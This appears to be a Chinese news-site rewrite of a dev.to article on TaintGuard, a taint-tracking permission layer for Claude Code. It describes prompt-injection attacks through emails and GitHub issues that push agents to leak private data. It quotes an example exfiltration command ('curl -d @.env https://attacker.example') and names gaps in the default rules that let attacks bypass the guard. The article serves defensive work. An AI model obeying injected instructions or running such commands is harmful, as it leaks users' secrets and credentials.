基础篇
进阶篇
高频篇
精选篇
手写篇
面经篇
AI 篇
原理篇
每日一题
小程序题库
  • 知识卡片碎片时间过考点
  • 场景篇按分类整理的大前端场景考点
  • 历年面经按年份追踪真实考点
  • 算法题库NEW在线编码即时判题
  • 专项自测100 题快速查漏
  • 前端基础
    • HTTP从报文一路讲到 HTTPS
    • 浏览器渲染、事件循环、进程
    • 计算机基础Linux、网络、操作系统
  • 进阶专项
    • 设计模式23 种模式怎么用
    • 前端系统进阶学习大型项目工程化
    • 前端综合文章长期沉淀的实践文
  • 工程与工具
    • Node学习指南从环境搭建到服务端
    • NPM工作流script、依赖与发布
    • Docker容器化部署上手
    • Canvas图形与动画实战
  • 路线与导图
    • 思维导图知识点全景图
    • 学习路线按图索骥不跑偏
  • 动态
    • 公众号动态公众号历史文章
    • 博客动态站长的技术博客
    • 开发者导航常用工具与文档站
    • AI 热点每日 AI 资讯与动向
AI 工作台
简历
旧版
AIHT
内容
精选全部 AI 动态热点榜AI 日报收藏
分类
模型行业编程产品技术观点开源
更多
Agent 接入
返回首页开发者导航
AIHT
精选 / 资讯详情
8.0
热点
AI SCORE
技术实践2026-11-05 18:03

Agent 权限控制为何必须记录会话历史

dev.to · AI#Agent#权限控制#提示注入
Editor brief · 编辑速览

作者以 Claude Code 同时访问 Gmail 与 Bash 为例,说明不可信邮件可能诱导 Agent 利用其他工具泄露私有数据。其 TaintGuard 修改方案记录进入会话的内容类型,再据此限制后续工具调用。

文章思维导图
Knowledge map
拖拽缩放
AI deep read

AI 深度解读

给 Claude Code 接上 Gmail,再允许它用 Bash 跑测试,两项权限单看都很合理。但它读过一封恶意邮件后,同一个 Bash 就可能成为泄露收件箱的出口。风险来自工具在同一会话里的组合,逐项授权很难表达这种关系。

作者为此做了 TaintGuard:记录会话接触过哪些内容,再决定后续工具能否执行。它的价值是让审批带上上下文;局限也很直接:默认规则存在漏口,用户一路点允许,防线仍然会失效。

为什么工具获准,不代表这次调用安全

作者引用的「致命三件套」(lethal trifecta),包括访问私有数据、接触不可信内容,以及向外通信。攻击者只需把指令藏进邮件、网页或 issue,就可能诱导 Agent 把私有数据发出去。

原文举了 Invariant Labs 在 2025 年 5 月披露的案例:攻击者在公开仓库的 issue 中植入指令,诱导 Agent 读取私有仓库,再通过公开 pull request 发布内容。每次调用都符合用户 token 的权限,问题出在调用之间的联系。

Meta 的 Agents Rule of Two 据此提出:一个会话最多同时具备上述三项能力中的两项;确实需要三项,就要增加人工监督。

按工具配置 allow、ask、deny,很难落实这条规则。始终允许 Bash 会放过读邮件后的危险调用,始终禁止又妨碍日常开发;始终询问则产生大量看起来相同的弹窗。MCP 网关还看不到内置工具,curl -d @.env https://attacker.example 可以直接经 Bash 执行。

权限判断需要知道,这个会话此前读过什么。

TaintGuard 如何把历史变成权限条件

TaintGuard 借用了污点追踪(taint tracking)的思路:给外部输入附上风险标签,再限制它流向危险操作。CaMeL 和 Microsoft Fides 会追踪数据流或数据标签,但需要控制 Agent 的规划过程。TaintGuard 只在工具调用边界工作,看不到模型内部如何传递具体内容,因此给整个会话打标签。

默认标签是 private、untrusted、secret。Sources 负责添加标签:读邮件添加前两项,成功执行 WebFetch 添加 untrusted,Read 读取 .env 或 SSH 密钥添加 secret。Sinks 根据已有标签,对工具执行 deny、ask 或 audit。

下面这段代码展示了它如何先检查限制,再执行工具并更新标签:

on('tool.call', async ($, e, next) => {
  const held = new Set(heldLabels(await readTaint($)))  // earlier calls only
  const decision = evaluateSinks(policy, e, held)
  if (decision.action === 'deny') return refuse(decision)
  if (decision.action === 'ask' && !(await askUser($, e, decision))) {
    return refuse(decision)
  }
  const added = await fireSources($, e, 'attempt')       // taints even if the tool fails
  const result = await next(e)
  if (result.deny === undefined && result.isError !== true) {
    added.push(...(await fireSources($, e, 'success')))
  }
  return added.length > 0 ? withContextLine(result, added) : result
})

重点看 evaluateSinks:它检查的是调用前的标签。邮件读取在 attempt 阶段标记,即使中途失败也保留风险;WebFetch 则在 success 阶段标记。

会话内标签只增不减,重启、压缩上下文也会保留或重建;重建完成前,系统暂按持有全部标签处理。用户可以用 /taintguard clear 移除标签,或用 /clear 重新开始,两者都会留下审计记录。

实现采用 Claude Code mod,要求终端版 Claude Code 2.1.287 或更新版本。它比每次启动进程的 PreToolUse command hook 更方便保存状态,也能在 bypassPermissions 下显示审批。主 Agent 和 subagent 的调用都经过 tool.call,当前还共享同一套标签。

少弹窗有效,但拦截效果取决于谁来回答

默认预设 trifecta 在同时持有 private、untrusted 时,对 Bash、WebFetch 和相关 MCP 外发工具要求审批;出现 secret 后,则直接拒绝这些工具及 WebSearch。

作者用脚本轨迹回放比较策略,包含 609 个注入场景、783 次外泄调用,以及 120 项正常任务,其中 90 项编码、30 项邮件分拣。

静态策略的代价很明显:只覆盖 MCP 的网关策略破坏了 12 项邮件任务,却没拦住经 Bash 或 WebFetch 发起的 298 次调用。禁止全部外发操作能阻止所有攻击,也让 96 项正常任务无法完成,其中 84 项需要 Bash。全部询问不破坏任务,但产生 176 次审批;Bash(npm run test:*) 这样的命令规则可以减少次数,却不会补上风险背景。

trifecta 将审批降到 22 次,涉及 19 项任务,其中 14 项是邮件分拣。另有 3 项任务无法完成:2 项读取 .env 后需要 Bash,符合规则设计;1 项读取公开测试证书 test/fixtures/localhost.pem,被 *.pem 匹配误判为秘密。

但如果用户批准所有请求,783 次外泄调用中仍有 696 次执行,占 88.9%。

22 次有针对性的审批,比 176 次泛化审批更有用,但审批仍是一道需要人判断的防线。

无人值守的 claude -p 无法回答,ask 会变成拒绝,导致 22 项正常任务无法完成。作者建议此时考虑 strict 或 deny sink;strict 的代价是阻断 40% 的正常任务。

这些数字衡量的是策略决策,不是模型面对攻击时的完整表现。真实模型实验只有 6 个案例,使用 Claude Haiku 4.5 和桩 MCP 服务:未启用防护时,2 个案例分别通过 WebFetch、curl 外泄;启用后,前者被拒绝,后者在读取 .env 后改为打印 curl 步骤。作者无法证明后者由提示行导致,而且实验早于最后一轮规则修复。

默认规则漏掉的地方,恰好很关键

TaintGuard 对 Rule of Two 采用较窄解释:数据经带标签的工具进入上下文后,才算接触私有内容。因此只读网页会得到 untrusted,随后执行自带读取与发送动作的 curl -d @.env,默认规则仍会放行。测试集中有 16 个类似场景,全部由 strict 拦住。

默认预设也不识别 GitHub、Jira、Confluence 等来源,所以开头的 GitHub 攻击可以直接穿过默认规则。作者给出的补法是在 ~/.claude/taint-guard.json 添加来源:将 issue_read、list_issues、search_issues、pull_request_read 标为不可信,将 get_file_contents、search_code 标为私有,再补齐写操作限制。

配置依赖实际工具名,原文示例假设服务注册名为 github。作者建议用 /taintguard tools 检查匹配情况。另一处漏口是 Write:把数据写进稍后由 CI 发布的 docs 目录,也能外泄,但 trifecta 没把它视为出口。

自保护也有前提。Bash 检查只读取命令文本,运行时拼接配置路径可能绕过检测。作者建议使用 managed mod,并让策略文件只有管理员可写。Team、Enterprise 或存在 managed settings 的机器尤其需要这样部署,否则用户安装版本无法完整处理 /resume、/branch、/clear 和压缩记录。

我的判断

我认同把调用历史纳入权限判断。相比始终询问,它能解释「为什么此刻需要确认」;相比一刀切禁用,更容易保留编码工具的可用性。

但这仍是粗粒度方案。读过一封邮件,后续无关操作也可能被限制;没被来源规则识别的输入,又可能完全不触发防护。原文的回放数据支持「在这套语料上减少审批」,不足以证明对一般团队同样有效,因为语料与工具同步编写,实测也只有 6 例。

常见替代做法是拆开工作流,让读邮件的会话只产出待办,再由权限受限的编码会话处理。这样会增加交接成本,但边界更容易检查。若业务必须在一个会话里完成,TaintGuard 提供了有价值的中间层;它不能替代凭证隔离、出口限制和对真实目的地的检查。

能拿来做什么

  • 先检查日常 AI 编程会话是否同时连接邮箱、私有资料和 Bash。能拆开的任务先拆开,需要合并的任务再配置历史条件。
  • 接入 issue 或文档 MCP 时,用 /taintguard tools 核对真实工具名,为读取第三方文本、读取私有文件和写入操作补齐规则。
  • 在无人值守任务中单独评估 strict 或 deny sink,重点验证 .env 读取、测试命令和构建流程会被怎样阻断。
  • 试用作者发布的 TaintGuard 0.1.0 时,可以使用下面两条命令安装,再用自己的任务验证策略:
claude plugin marketplace add dortort/claude-plugins
claude plugin install taint-guard@dortort
Original source

本文由 AI 通读原文后重新编写,观点部分为站内判断,细节以原文为准,来源 dev.to · AI,原文版权归原作者所有。

阅读原文
上一篇
PR Agent:可自行部署的 AI 代码审查助手
下一篇
AI 视频服务如何约束生成与处理退款

资讯速览

dev.to · AI · 2026-11-05 18:03

AI 评分 8.0 / 10

相关标签

#Agent#权限控制#提示注入

继续阅读

  • AI 测试报出 23 项问题,人工确认 8 项
  • PR Agent:可自行部署的 AI 代码审查助手
  • AI 视频服务如何约束生成与处理退款
  • 用 Git 状态摘要减少编程智能体重复读库
  • 提示词实验:五个智能体未胜过单体